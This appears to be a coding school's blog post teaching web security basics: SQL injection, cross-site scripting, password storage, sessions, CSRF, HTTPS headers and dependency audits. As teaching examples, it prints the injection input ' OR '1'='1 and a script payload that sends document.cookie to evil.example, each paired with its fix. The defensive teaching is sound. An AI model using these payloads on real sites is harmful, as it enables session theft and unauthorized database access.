
Every June we hand our students a web app that is deliberately broken. It has a search box that, when you type a single quote, returns an error page showing the full SQL query the server tried to run. The students laugh. Then one of them types ' OR '1'='1 and the search returns every row in the products table. The laughter stops.
That demo takes five minutes and it has never once failed to make the point: a web app that "works" is not a web app that is safe. The hard part is that the unsafe version looks identical on the surface. It renders pages. It accepts input. It returns results. The only difference is what happens when someone decides to send it something you didn't plan for.
This post covers the three areas where we see developers make the same mistakes every single batch: input handling, authentication, and transport security. Plus one thing most tutorials skip entirely — your dependencies.
Input is code until you prove otherwise
Every field on your page is a potential attack surface. Not because users are malicious, but because a small number of them will be, and your code cannot tell the difference between a person typing "hello" and a person typing a carefully crafted string that changes the meaning of your SQL.
Take the classic. Imagine a query built like this:
SELECT * FROM users WHERE email = '$email'
If $email is admin@example.com' OR '1'='1, the query becomes:
SELECT * FROM users WHERE email = 'admin@example.com' OR '1'='1'
That returns the first user in the table, which is often the admin. This is SQL injection, and it is not a legacy problem. We still see it in student projects every term, usually in search boxes and login forms. The fix is not to "sanitize" input by blocking characters. The fix is to stop building SQL strings by hand entirely. Use parameterized queries.
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);
Now the database treats the value as data, never as part of the command. The same principle applies to anything you put into a query. Parameterized queries, or their ORM equivalents, close the entire class of SQL injection bugs. No list of blocked characters, no regex, no "escaping" that you might forget on one page.
The sibling problem is XSS — cross-site scripting. Where SQL injection attacks your database, XSS attacks your visitors. If you render user-supplied text as HTML without escaping it, a comment field becomes a delivery vehicle:
<script>fetch('https://evil.example/steal?cookie=' + document.cookie)</script>
Stored XSS like this sits in your database and runs in every browser that loads the page. The fix is context-aware escaping when you output data, not when you receive it. Your template engine almost certainly has this built in — use it, and do not disable it for convenience. A user's name, a comment, a URL parameter: escape on output, always.
Authentication fails in the details
The login form is where most of the serious damage happens, and the mistakes are consistent.
First, password storage. We still get students who store plaintext passwords because "it's just a class project." That habit dies the first time they see a real breach dump. The rule is simple: never store a password you could read back. Use a slow, salted hash — bcrypt, scrypt, or Argon2. These are deliberately slow so that brute-forcing a stolen database is expensive. Do not invent your own hash, and do not use MD5 or SHA-256 for passwords. Those are fast by design, and fast is exactly what an attacker wants.
Second, sessions. The session token is what actually proves who you are after login. If your session token is guessable — a user ID, a timestamp, a counter — an attacker can forge it. Generate session IDs with a cryptographic random source, store them on the server, and send only the random value to the browser in a cookie. Set the cookie's HttpOnly flag so JavaScript cannot read it, and SameSite=Lax so other sites cannot send it.
That SameSite flag also handles most of the CSRF problem. Cross-site request forgery works like this: you log into your bank, then you visit a page the attacker controls. That page contains an image or a form that submits a request to the bank's site, and because your browser still holds the bank's cookie, the request looks legitimate. SameSite=Lax stops the cookie from being sent on cross-site requests, which closes most of those attacks. For the rest, use a CSRF token — a value the server generates and embeds in each form, and rejects if it is not present on submission.
We tell students: the login form is only the door. The session, the cookie flags, and the CSRF token are the security.
HTTPS and the headers nobody reads
If your site is served over plain HTTP, everything — passwords, session tokens, form data — travels in cleartext. Anyone on the same Wi-Fi network can read it. Modern hosting makes HTTPS cheap and easy; there is no excuse for shipping a site without it. Once you have it, add HSTS so browsers refuse to downgrade back to HTTP.
Beyond the certificate, there are headers that cost you nothing to set and prevent whole categories of attacks. Content-Security-Policy tells the browser which sources of scripts and styles are allowed. If an attacker injects a script, the browser refuses to run it. X-Frame-Options: DENY stops your site from being embedded in another site's iframe, which kills clickjacking. X-Content-Type-Options: nosniff stops browsers from guessing the content type of a response, which prevents a class of injection via mislabeled files.
You do not need to memorize every header. But you should know they exist, and you should run a tool like Mozilla's Observatory or securityheaders.com once in a while. It will show you, in plain language, which protections you are missing.
Your dependencies are part of your attack surface
The code you write is maybe a third of the code your site runs. The rest is packages — frameworks, libraries, utilities — pulled in from registries like npm and PyPI. Every one of those packages is code written by someone else, and some of them have known vulnerabilities.
This is not a hypothetical. We see it in production sites constantly: a project that runs npm install once in 2023 and never updates anything again. The fix is dull and mechanical. Run npm audit or pip-audit or whatever your ecosystem offers. Update dependencies on a schedule, not when something breaks. And before you add a package, ask whether you actually need it. A one-line utility that you could write yourself is one less thing to audit.
We do not know what vulnerabilities will be found in your dependencies next year. Neither does anyone else. What we do know is that unmaintained projects with old packages are the easiest target on the internet.
Common questions
Should I write my own security functions or use a library?
Use a library. Security code is the worst place to improvise because the failure modes are invisible. A hand-written token generator that "looks random" might be predictable. A library like secrets in Python or crypto in Node has been reviewed by many more people than your code ever will be.
Is it enough to validate input on the client side with JavaScript?
No. Client-side validation is for user experience, not security. Anyone can open the browser's developer tools and send a request directly to your server, bypassing your JavaScript entirely. The server must validate everything, always.
How often should I actually update my dependencies?
There is no universal answer. For a small site, checking monthly is reasonable. For anything that stores personal data, you should have automated checks that alert you when a package you use has a known vulnerability. The important thing is that updates happen on a schedule, not only when something breaks.
Do I need to worry about security if my site is just a portfolio or a small business page?
You need to worry less, but not zero. A small site is still a target for automated attacks that scan the whole internet for vulnerable code. If your contact form sends email through a script with an injection bug, that script will be found. The fundamentals — parameterized queries, HTTPS, escaping output — apply at every scale.
Courses this relates to
Come and sit a class before you decide
Reading about it only gets you so far. Pick a day, sit in on a class that is already running, write some code, and talk to the students in it. Free, and nothing to pay afterwards unless you want to join.